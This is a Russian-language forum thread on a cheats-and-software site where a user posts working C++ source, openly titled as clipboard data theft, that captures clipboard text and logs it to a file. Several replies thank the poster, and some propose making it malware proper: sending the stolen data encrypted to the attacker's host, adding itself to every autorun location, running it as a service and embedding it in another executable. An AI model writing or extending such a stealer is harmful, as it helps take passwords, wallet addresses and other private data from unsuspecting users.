Добро пожаловать! Игровой форум WLUX.NET - Игры, Читы, Скрипты, Статьи, Софт, Курсы.

Присоединяйтесь к нам сейчас, чтобы получить доступ ко всем нашим функциям. После регистрации и входа в систему вы сможете создавать темы, публиковать ответы на существующие темы, повышать репутацию участников, скачивать вложения и файлы и многое, многое другое. Так чего же вы ждете?

Добро пожаловать гость!

Приветствуем вас на нашем форуме! Мы очень рады вас видеть и с большим удовольствием поделимся всей информацией нашего форума!

Мы уважаем своих пользователей и так же ждем от вас приятного общения.

Система наград, ежедневное пополнения тем!

Общайся, получай награды.

Статьи, гайды, софт

У нас вы можете скачать бесплатно читы для игр. Полезные гайды на любые темы и схемы заработка. Есть раздел халявы!

FAQ по форуму

Не понимаю, как и что тут работает у вас?!Как создавать темы, писать сообщения, как получать реакции. Почему не засчитывает сообщения. Все ответы здесь

  • Добро пожаловать на сайт - wlux.net!

    FAQ по форуму

    1. Все сообщения до группы местный проходят модерацию от 1 минуты до 24 часа

    2. Сообщения учитываються в следующих разделах: Читать

    3.Что-бы скачать вложение нужно 2 сообщения.

    4.Личные переписки работают только с Администрацией форума

    5. Запрещено: Просить скрытый текст , спам, реклама, скам, ддос, кардинг и другая чернуха, нарушать любые законы РФ/СНГ = бан аккаунта

    6. Внимание! Мы не удаляем аккаунты с форума! Будьте внимательны ДО регистрации! Как удалить аккаунт на форуме?!

    5.Не понимаю, как и что тут работает у вас?!Как создавать темы, писать сообщения, как получать реакции. Почему не засчитывает сообщения. Все ответы здесь

C++ Исходник Кража данных из буфера обмена с записью в файл

r3xq1 Оффлайн

r3xq1

Участник
LV
3
 
17.01.2023
3
1
27
Награды
4
34

Репутация:

Метод получает данные из буфера обмена и если они есть, сохраняет в текущий файл ClipBoard_Buffer_Data.txt рядом с .exe файлом.
C++:
#include <iostream>
#include <fstream>
#include <Windows.h>
#include <ctime>
#include <sstream>
#include <thread>

class BufferEx // имя класса
{
public:
    static void Inizialize() // имя метода
    {
        try
        {
            // Создаем новый поток для сбора
            std::thread th_Buffer([]() // #include <thread>
                {
                    // Проверяем буфер обмена на наличие текстовых данных
                    if (IsClipboardFormatAvailable(CF_TEXT))
                    {
                        if (OpenClipboard(nullptr))
                        {
                            HANDLE hClipboardData = GetClipboardData(CF_TEXT);
                            if (hClipboardData != nullptr)
                            {
                                char* text = static_cast<char*>(GlobalLock(hClipboardData));
                                if (text != nullptr)
                                {
                                    std::string data(text);
                                    GlobalUnlock(hClipboardData);
                                    CloseClipboard();

                                    if (!data.empty())
                                    {
                                        std::ostringstream oss;
                                        oss << "[Detect Data ClipBoard] - [" << GetCurrentDateTime() << "]" << std::endl;
                                        oss << "==================================================" << std::endl;
                                        oss << data << std::endl;
                                        oss << "==================================================" << std::endl;
                                        std::string outText = oss.str();

                                        if (!outText.empty()) // Проверяем данные на пустоту
                                        {
                                            SaveToFile("ClipBoard_Buffer_Data.txt", outText); // Записываем данные в файл
                                        }
                                    }
                                }
                            }
                            CloseClipboard();
                        }
                    }
                });

            th_Buffer.join();
        }
        catch (...)
        {
        }
    }

private:
    static std::string GetCurrentDateTime()
    {
        std::time_t now = std::time(nullptr);
        std::tm timeInfo;
        localtime_s(&timeInfo, &now);

        char buffer[80];
        std::strftime(buffer, sizeof(buffer), "%m.%d.%Y - %H:%M:%S", &timeInfo);

        return buffer;
    }

    static void SaveToFile(const std::string& filename, const std::string& content)
    {
        std::ofstream file(filename, std::ios::app);
        if (file)
        {
            file << content;
        }
        file.close();
    }
};

int main()
{
    BufferEx::Inizialize();
    std::cin.get(); // Ожидание
    return 0;
}
 
L Оффлайн

lk6015

Участник
LV
2
 
29.12.2023
4
0
16
Награды
2
24

Репутация:

спс большое. сегодня проверю
 
A Оффлайн

AlishKqwe

Участник
LV
2
 
21.01.2024
5
0
24
Награды
2
26

Репутация:

То что искал, спасибо большое
 
R Оффлайн

romtom

Участник
LV
2
 
08.04.2024
11
0
25
Награды
2
24

Репутация:

Доделать что можно активировать на кнопку и можно юзать
 
R Оффлайн

rapidrabbit

Участник
LV
4
 
26.08.2023
4
0
24
Награды
4
25

Репутация:

Спасибо. посмотрим как работает
 
D Оффлайн

djjshsbsbs

Участник
LV
0
 
13.09.2024
1
0
5
21

Репутация:

Спасибо. Интересный код. То что я искал
 
S Оффлайн

slowtema

Участник
LV
0
 
16.09.2024
17
0
7
Награды
1
32

Репутация:

Рабочий процесс пользователя на кражу не тянет. Вот если это завернуть в сервис или ещё ниже, будет идеально.
 
sunilia Оффлайн

sunilia 

Проверенный
Местный
LV
3
 
14.09.2024
78
5
18
Награды
5

Репутация:

Сюда было бы классно добавить шифрованную передачу данных на хост атакующего.
Было бы ещё славно добавить "себя же" во все места автозагрузок
Кстати, это же ещё и мултьтиплатформенная должна быть прога? Её бы вшить в какой-то другой исполняемый файл - и будет огонь :)
 
chebureque Оффлайн

chebureque

Местный
Участник
LV
2
 
12.10.2024
55
0
16
Награды
3
29

Репутация:

Рабочий процесс пользователя на кражу не тянет. Вот если это завернуть в сервис или ещё ниже, будет идеально.
Да это вообще фигня какая-то. Уровень сервиса - это минимум, а тот, кто может хорошо спрятать прогу, может ее и написать. Ценности немного в этом сниппете
 
D Оффлайн

daetojekir9

Участник
LV
2
 
06.08.2024
15
0
15
Награды
2
26

Репутация:

хорошо спрятать прогу, может ее и написать, согласен)
 
X Оффлайн

x123

Участник
LV
2
 
21.10.2024
6
0
11
Награды
2
54

Репутация:

Какой многоэтажный код...

И еще не совсем понятно, зачем создавать поток, чтоб потом сразу все-равно к нему приджойниться?
 

Поиск по форуму

shape1
shape2
shape3
shape4
shape7
shape8
Верх